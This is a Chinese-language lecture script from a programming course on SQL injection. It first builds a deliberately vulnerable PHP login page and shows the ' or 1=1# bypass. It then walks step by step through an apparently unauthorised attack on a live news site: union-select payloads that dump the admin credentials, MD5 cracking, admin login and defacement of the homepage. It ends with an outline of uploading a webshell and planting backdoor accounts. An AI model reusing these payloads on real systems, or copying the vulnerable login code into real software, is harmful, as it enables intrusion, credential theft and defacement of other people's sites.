能力有限，不到之处请大家批评指正；</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　&#9313;我尽量将文中涉及的各种技术原理，专业术语讲的更加通俗易懂，但这个前提是诸位能看得懂</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　基本的<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>语句(想想海璐姐你就懂了)；</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　&#9314;本晨讲形式为PPT+个人演讲+实际演示，但因为TTS征文限制，少去了很多效果，深表遗憾;</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　&#9315;原创<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>，达内首发。希望喜欢的同学，多多支持！如有疑问致信：chinanala@gmail.com</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　=============以下是晨讲内容脚本，实战演练部分配以文字说明=============</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　大家早上好！今天由我给大家带来《<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>安全之<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL注入</strong></u></a>篇》系列晨讲，首先对课程进行简单介绍，SQL注入篇一共分为三讲：</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　第一讲：&#8220;纸上谈兵：我们需要在本地架设注入环境，构造注入语句，了解注入原理。&#8221;；</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　第二讲：&#8220;实战演练：我们要在<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">互联网</strong></u></a>上随机对网站进行友情检测，活学活用，举一反三&#8221;；</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　第三讲：&#8220;扩展内容：挂马，提权，留门。此讲内容颇具危害性，不予演示。仅作概述&#8221;。</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　这个主题涉及的东西还是比较多的，结合我们前期所学。主要是让大家切身体会一下，管中窥豹，起到知己知彼的作用。千里之堤溃于蚁穴，以后进入单位，从事相关程序开发，一定要谨小慎微。</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　问：大家知道骇客们攻击网站主要有哪些手法？</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　SQL注入，旁注，XSS跨站，COOKIE欺骗，DDOS，0day 漏洞，社会工程学 等等等等，只要有数据交互，就会存在被入侵风险！哪怕你把网线拔掉，物理隔绝，我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上，我就爬窗户；你把窗户关上，我就翻院墙；你把院墙加高，我就挖地洞。。。道高一尺魔高一丈，我始终坚信计算机不存在绝对的安全，你攻我防，此消彼长，有时候，魔与道只在一念之间。</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　下面，就让我们一起推开计算机中那另一扇不为人知的门---</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　<strong style="word-break: break-all; line-height: normal !important;">一、纸上谈兵</strong></div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;"><strong style="word-break: break-all; line-height: normal !important;">　　（一）了解注入原理</strong></div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　为什么会存在sql注入呢，只能说SQL出身不好。因为sql作为一种解释型语言，在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式，产生了一系列叫做代码注入（code injection）的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时，没有过滤敏感字符，绑定变量，导致攻击者可以通过sql灵活多变的语法，构造精心巧妙的语句，不择手段，达成目的，或者通过系统报错，返回对自己有用的信息。</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　我们在学JDBC和SQL时，讲师跟我们说 Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 没错, 这句话是没有问题的, 但到底如何进行SQL注入?怎么直观的去了解SQL注入?这还是需要花一定的时间去实验的.预编译语句<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">java</strong></u></a>.sql.PreparedStatement ,扩展自 Statement,不但具有 Statement 的所有能力而且具有更强大的功能。不同的是，PreparedStatement 是在创建语句对象的同时给出要执行的sql语句。这样，sql语句就会被系统进行预编译，执行的速度会有所增加，尤其是在执行大语句的时候，效果更加理想。而且PreparedStatement中绑定的sql语句是可以带参数的。</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　<strong style="word-break: break-all; line-height: normal !important;">　（二）架设注入环境</strong></div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　我们知道现在php作为一门网页编程语言真是风生水起，利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建网站环境，如<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">腾讯</strong></u></a>的discuz、阿里的 phpwind 以及织梦的dedecms 等建站程序,占据了国内网站的半壁江山。那么我们今天即以这种架构为假象敌，首先是在本地架设wamp环境。需要用到的工具有：apache,mysql,php ，这几个组件可以单独下载安装，不过安装配置过程较为繁琐，还是建议新手直接从网上下载phpnow ，一个绿色程序，包含上述三个组件，傻瓜化操作就可以了。</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　然后呢，我们要建立<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>用的数据表，编写html,php,文件，通过实例具体来演示通过SQL注入，登入后台管理员界面。这里，我之前已经写好了，大家看下：</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　<strong style="word-break: break-all; line-height: normal !important;">1.创建一张试验用的数据表：</strong></div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">CREATE TABLE users (</div><div style="word-break: break-all; margin: 10px 0px;">id int(11) NOT NULL AUTO_INCREMENT,</div><div style="word-break: break-all; margin: 10px 0px;">username varchar(64) NOT NULL,</div><div style="word-break: break-all; margin: 10px 0px;">password varchar(64) NOT NULL,</div><div style="word-break: break-all; margin: 10px 0px;">email varchar(64) NOT NULL,</div><div style="word-break: break-all; margin: 10px 0px;">PRIMARY KEY (id),</div><div style="word-break: break-all; margin: 10px 0px;">UNIQUE KEY username (username)</div><div style="word-break: break-all; margin: 10px 0px;">);</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　添加一条记录用于测试：</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　INSERT INTO users (username,password,email)</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　VALUES('tarena',md5('admin'),'tarena@admin.com');<br /><br /><div style="word-break: break-all; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">　2.接下来，贴上登录界面的源代码：</strong></div><div style="word-break: break-all; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;html&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;head&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;title&gt;Sql注入演示&lt;/title&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;meta http-equiv="content-type" content="text/html;charset=utf-8"&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/head&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;body &gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;form action="validate.php" method="post"&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;fieldset &gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;legend&gt;Sql注入演示&lt;/legend&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;table&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;tr&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;td&gt;用户名：&lt;/td&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;td&gt;&lt;input type="text" name="username"&gt;&lt;/td&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/tr&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;tr&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;td&gt;密&amp;nbsp;&amp;nbsp;码：&lt;/td&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;td&gt;&lt;input type="text" name="password"&gt;&lt;/td&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/tr&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;tr&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;td&gt;&lt;input type="submit" value="提交"&gt;&lt;/td&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;td&gt;&lt;input type="reset" value="重置"&gt;&lt;/td&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/tr&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/table&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/fieldset&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/form&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/body&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/html&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; margin: 10px 0px;">　　当用户点击提交按钮的时候，将会把表单数据提交给validate.php页面，validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要，也往往是SQL漏洞所在)。</div><div style="word-break: break-all; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　3.验证模块代码如下：</strong></div><div style="word-break: break-all; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;html&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;head&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;title&gt;登录验证&lt;/title&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;meta http-equiv="content-type" content="text/html;charset=utf-8"&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/head&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;body&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;?php</div><div style="word-break: break-all; margin: 10px 0px;">$conn=@mysql_connect("localhost",'root','') or die("数据库连接失败！");;</div><div style="word-break: break-all; margin: 10px 0px;">mysql_select_db("injection",$conn) or die("您要选择的数据库不存在");</div><div style="word-break: break-all; margin: 10px 0px;">$name=$_POST['username'];</div><div style="word-break: break-all; margin: 10px 0px;">$pwd=$_POST['password'];</div><div style="word-break: break-all; margin: 10px 0px;">$sql="select * from users where username='$name' and password='$pwd'";</div><div style="word-break: break-all; margin: 10px 0px;">$query=mysql_query($sql);</div><div style="word-break: break-all; margin: 10px 0px;">$arr=mysql_fetch_array($query);</div><div style="word-break: break-all; margin: 10px 0px;">if(is_array($arr)){</div><div style="word-break: break-all; margin: 10px 0px;">header("Location:manager.php");</div><div style="word-break: break-all; margin: 10px 0px;">}else{</div><div style="word-break: break-all; margin: 10px 0px;">echo "您的用户名或密码输入有误，&lt;a href=\"Login.php\"&gt;请重新登录！&lt;/a&gt;";</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">?&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/body&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/html&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; margin: 10px 0px;">　　注意到了没有，我们直接将用户提交过来的数据(用户名和密码)直接拿去执行，并没有实现进行特殊字符过滤，待会你们将明白，这是致命的。</div><div style="word-break: break-all; margin: 10px 0px;">　　代码分析：如果，用户名和密码都匹配成功的话，将跳转到管理员操作界面(manager.php)，不成功，则给出友好提示信息。</div><div style="word-break: break-all; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">（三）演示注入手法</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　到这里，前期工作已经做好了，我们看这个登录界面，虽说是简陋了点。但具有一般登录认证的功能。普通人看这个不过是一个登录界面，但从攻击者角度来说，透过现象看本质，我们应当意识到隐藏在这个登录页面背后的是一条select 语句---</div><div style="word-break: break-all; margin: 10px 0px;">　　OK！ 接下来将展开我们的重头戏：SQL注入</div><div style="word-break: break-all; margin: 10px 0px;">　　填好正确的用户名(tarena)和密码(admin)后，点击提交，将会返回给我们&#8220;欢迎管理员&#8221;的界面。</div><div style="word-break: break-all; margin: 10px 0px;">　　因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的：</div><div style="word-break: break-all; margin: 10px 0px;">　　select * from users where username='tarena' and password=md5('admin')</div><div style="word-break: break-all; margin: 10px 0px;">　　很明显，用户名和密码都和我们之前给出的一样，肯定能够成功登陆。但是，如果我们输入一个错误的用户名或密码呢?很明显，肯定登入不了吧。恩，正常情况下是如此，但是对于有SQL注入漏洞的网站来说，只要构造个特殊的&#8220;字符串&#8221;，照样能够成功登录。</div><div style="word-break: break-all; margin: 10px 0px;">　　比如：在用户名输入框中输入:&#8217;or 1=1#,密码随便输入，这时候的合成后的SQL查询语句为：</div><div style="word-break: break-all; margin: 10px 0px;">　　select * from users where username='' or 1=1#' and password=md5('')</div><div style="word-break: break-all; margin: 10px 0px;">　　语义分析：&#8220;#&#8221;在mysql中是注释符，这样井号后面的内容将被mysql视为注释内容，这样就不会去执行了，换句话说，以下的两句sql语句等价：</div><div style="word-break: break-all; margin: 10px 0px;">　　select * from users where username='' or 1=1#' and password=md5('')</div><div style="word-break: break-all; margin: 10px 0px;">　　等价于</div><div style="word-break: break-all; margin: 10px 0px;">　　select * from users where username='' or 1=1</div><div style="word-break: break-all; margin: 10px 0px;">　　因为1=1永远都是成立的，即where子句总是为真，将该sql进一步简化之后，等价如下select语句：</div><div style="word-break: break-all; margin: 10px 0px;">　　select * from users</div><div style="word-break: break-all; margin: 10px 0px;">　　没错，该sql语句的作用是检索users表中的所有字段</div><div style="word-break: break-all; margin: 10px 0px;">　　果不其然，我们利用万能语句(&#8217;or 1=1#)能够登录！看到了吧，一个经构造后的sql语句竟有如此可怕的破坏力，相信你看到这后，开始对sql注入有了一个理性的认识了吧~</div><div style="word-break: break-all; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">二、实战演练</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　OK,前面铺垫了那么多，算是给大家科普了。现在我们进行第二讲，实战演练。开始之前呢，有一个互动环节。现在请大家用自己的手机登录 http://www.guoshang.tk &nbsp;这个网址，简单看下。待会等我们注入攻击之后，再次登录，好对比效果，对于sql注入攻击有一个更加直观的认识。</div><div style="word-break: break-all; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　（一）积极备战</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　1。首先设置浏览器，工具--internet选项--安全--找到&#8220;显示友好的http信息&#8221;,把前面的勾去掉；</div><div style="word-break: break-all; margin: 10px 0px;">　　2。打开谷歌，寻找注入点。为了节省时间，这里我已经事先找好目标点</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk；</div><div style="word-break: break-all; margin: 10px 0px;">　　谷歌搜索小技巧：筛选关键字："inurl:/news/read.php?id="</div><div style="word-break: break-all; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　（二）狼烟四起</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　1。我们打开这个网址，一个新闻网站，,我们点击[百家争鸣]板块，这是一个国内外新闻速览的栏目，好多时政的帖子，我们点击一个，OK，现在进入单个帖子界面，首先我们看下当前帖子的URL地址，</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk/news/read.php?id=50</div><div style="word-break: break-all; margin: 10px 0px;">　　可以看出这是一个动态URL，也就是说可以在地址栏中传参，这是SQL注入的基本条件。</div><div style="word-break: break-all; margin: 10px 0px;">　　2。判断是否存在sql注入可能。在帖子地址后面空上一格，敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢？ 一个恒等式，一个恒不等式，敲入 and 1=1 帖子返回正常， and 1=2 时帖子返回出错，说明sql语句被执行，程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点，程序对带入的参数没有做任何处理，直接带到数据库的查询语句中。可以推断出在访问</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk/news/read.php?id=50</div><div style="word-break: break-all; margin: 10px 0px;">　　时数据库中执行的SQL语句大概是这样的：</div><div style="word-break: break-all; margin: 10px 0px;">　　Select * from [表名] where id=50</div><div style="word-break: break-all; margin: 10px 0px;">　　添加and 1=1后的SQL语句：</div><div style="word-break: break-all; margin: 10px 0px;">　　Select * from [表名] where id=50 and 1=1</div><div style="word-break: break-all; margin: 10px 0px;">　　由于条件and 1=1永远为真，所以返回的页面和正常页面是一致的</div><div style="word-break: break-all; margin: 10px 0px;">　　添加and 1=2后的SQL语句：</div><div style="word-break: break-all; margin: 10px 0px;">　　Select * from [表名] where id=50 and 1=2</div><div style="word-break: break-all; margin: 10px 0px;">　　由于条件1=2永远为假，所以返回的页面和正常页面不一致</div><div style="word-break: break-all; margin: 10px 0px;">　　3。爆数据库。确定注入点仅仅意味着开始。现在，我们回到原先的帖子地址：</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk/news/read.php?id=50</div><div style="word-break: break-all; margin: 10px 0px;">　　现在要判断数据库类型以及版本，构造语句如下：</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))&gt;51</div><div style="word-break: break-all; margin: 10px 0px;">　　发现返回正常页面，说明数据库是mysql，并且版本大于4.0，支持union查询，反之是4.0</div><div style="word-break: break-all; margin: 10px 0px;">　　以下版本或者其他类型数据库。</div><div style="word-break: break-all; margin: 10px 0px;">　　4。爆字段。接着我们再构造如下语句来猜表中字段：</div><div style="word-break: break-all; margin: 10px 0px;">　　a. http://www.guoshang.tk/news/read.php?id=50 order by 10</div><div style="word-break: break-all; margin: 10px 0px;">　　返回错误页面，说明字段小于10</div><div style="word-break: break-all; margin: 10px 0px;">　　b. http://www.guoshang.tk/news/read.php?id=50 order by 5</div><div style="word-break: break-all; margin: 10px 0px;">　　返回正常页面，说明字段介于5和10之间</div><div style="word-break: break-all; margin: 10px 0px;">　　c. http://www.guoshang.tk/news/read.php?id=50 order by 7</div><div style="word-break: break-all; margin: 10px 0px;">　　返回错误页面，说明字段大于5小于7，可以判断字段数是6.下面我们再来确认一下</div><div style="word-break: break-all; margin: 10px 0px;">　　d. http://www.guoshang.tk/news/read.php?id=50 order by 6</div><div style="word-break: break-all; margin: 10px 0px;">　　返回正常页面，说明字段确实是6这里采用了&#8220;二分查找法&#8221;，这样可以减少判断次数，节省时间。如果采用从order by 1依次增加数值的方法来判断，需要7次才可以确定字段数，采用&#8220;二分查找法&#8221;只需要4次就够。当字段数很大时，二分查找法的优势更加明显，效率更高。</div><div style="word-break: break-all; margin: 10px 0px;">　　5。爆表.确定字段之后现在我们要构造联合查询语句(union select )，语句如下：</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6</div><div style="word-break: break-all; margin: 10px 0px;">　　我们来看帖子页面，原先内容没有了，取而代之的是返回给了我们 三个数字，分别是3，5，6 我们随便选择一个，这里的3，5，6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字，比如版本，数据库名称，主要是用来探测web系统的信息。</div><div style="word-break: break-all; margin: 10px 0px;">　　6。爆用户名、密码。我们选择3 吧，OK,现在把3给替换掉，先查询下数据库库名，构造语句如下</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1,2,database(),4,5,6</div><div style="word-break: break-all; margin: 10px 0px;">　　浏览器给我们返回了 xinwen &nbsp;。说明这个网站 的数据库库名是 xinwen &nbsp;.</div><div style="word-break: break-all; margin: 10px 0px;">　　现在我们用同样的手法查询下 管理员信息 ，构造语句如下：</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1,2,user(),4,5,6</div><div style="word-break: break-all; margin: 10px 0px;">　　返回 root@localhost ，是个管理员权限。</div><div style="word-break: break-all; margin: 10px 0px;">　　现在我们再用同样的手法查询用户名，密码，构造语句如下：</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select</div><div style="word-break: break-all; margin: 10px 0px;">　　1,2,username,4,5,6 from admin</div><div style="word-break: break-all; margin: 10px 0px;">　　返回 admin</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1,2,password,4,5,6 from admin</div><div style="word-break: break-all; margin: 10px 0px;">　　返回 B2E5B76793EDA747382E81391AA3A400</div><div style="word-break: break-all; margin: 10px 0px;">　　7。md5解密。看到这里，有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法，不可逆。话虽如此，现在互联网上crack md5 &#8220;解密&#8221;md5 的网站很多，这里我给解密加了引号，是因为其&#8220;解密&#8221;原理是 md5 值既然不能进行 逆向破解，但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的，我们可以重新构造字符串生成md5值，然后对比两个值，如果一样则字符串一样。有人说，这种方法岂不是海底捞针，试到猴年马月去啊，其实不然，互联网云时代已经到来，大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对，有好多网站提供这种服务，我们找一个。（http://www.md5.com.cn ） 这个网址，我们把这个值复制进去，然后点击&#8220;MD5 CRACK&#8220;，&#8220;解密&#8221;时间，视密码复杂度而定，OK，结果出来，(chinaadmin)</div><div style="word-break: break-all; margin: 10px 0px;">　　8。登录后台。现在我们已经拿到网站的管理员帐号密码，感谢上帝，一路顺风，但还不能高兴得太早。很多情况是你虽然拿到了钥匙，但是找不到门。下面我们就来找一下门，找之前要有个基本思路：</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9312;先试下几个比较常用的目录；</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9313;不行的话，因为这个论坛程序是dedecms5.6 ，所以我们就到 织梦官方，下载一套同样程序， &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 分析网站管理路径，或者直接百度&#8220;dedecms默认管理界面&#8221;即可，下载步骤可省略；</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9314;手工不通，借力工具。明小子，啊D，御剑，都可以。</div><div style="word-break: break-all; margin: 10px 0px;">　　9。这里我们发现此网站依然采用程序默认管理路径：</div><div style="word-break: break-all; margin: 10px 0px;">　　http://www.guoshang.tk/dede</div><div style="word-break: break-all; margin: 10px 0px;">　　输入用户名 admin ，密码 chinaadmin 成功登入。</div><div style="word-break: break-all; margin: 10px 0px;">　　接下来，我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件，下标栏还有几个功能选项，我们可以看到网站首页文件【index.html】，点击【修改】，进入网页源代码编辑模式，删除所有源码(这招有点毒，劝告别改人家的源码，建议新建一个文件)，留个言，表示到此一游。</div><div style="word-break: break-all; margin: 10px 0px;">　　卑鄙是卑鄙者的通行证，高尚是高尚者的墓志铭----- 北岛</div><div style="word-break: break-all; margin: 10px 0px;">　　现在是见证奇迹的时刻！请大家再次登录这个网站，有没有把你和你的小伙伴们惊呆呢？！</div><div style="word-break: break-all; margin: 10px 0px;">　　至此，战斗结束。若干年的免费住宿，一日三餐在向你招手。。。</div><div style="word-break: break-all; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　三、扩展部分</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　鉴于此讲内容危害性较大，不予演示。只简述其流程。</div><div style="word-break: break-all; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">（一）webshell提权</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　二讲结束，我们仅仅取得网站管理员权限，操作范围仅限当前网站。革命尚未成功，同志仍需努力。若想深入挖掘，则必须寻求更大突破。获得网站webshell .</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9312;准备一个php网马。（网上泛滥成灾，自己下载。但要注重分辨，小心螳螂捕蝉黄雀在后）;</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9313;登录网站后台--【核心】--【附件管理】--【文件式管理器】--选择下标栏中的【文件上传</div><div style="word-break: break-all; margin: 10px 0px;">　　选项，上传我们实现准备的php网马文件（tarena.php）；</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9314;上传完毕，点击预览，记录下url地址。新建浏览器窗口，复制粘贴，打开之后，可以看到我们的网马成功挂载，输入密码tarena(密码可以自行用记事本打开修改编辑)；</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9315;进入网马管理界面，你会被那华丽丽的操作选项惊呆了！（取决网马水平，小马就别谈了，这里指的是大马）。从程序目录-网站根目录-各种强大的功能，乃至直接操作服务器磁盘文件，获取各种系统信息，跃马扬鞭，如入无人之境。其破坏力之大，令人咂舌！所以拜托各位亲，一定要盗亦有道，手下留情，除了靠法律监管，也要靠个人道德约束。</div><div style="word-break: break-all; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">（二）暗修栈道</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　浴血奋战、攻城拔寨之后，怎样保卫来之不易的胜利果实？政治治大国若烹小鲜，入侵则烹小鲜如治大国。为长远计，我们需要建立一种长期和肉鸡保持联系的机制。而且还要很隐蔽，毕竟这是见不得光的。留后门的方法诸多：</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9312;开启telnet服务</div><div style="word-break: break-all; margin: 10px 0px;">　　建立匿名账户，添加至超级管理员组；</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9313;开启远程终端服务；</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9314;自制木马触发事件...</div><div style="word-break: break-all; margin: 10px 0px;">　　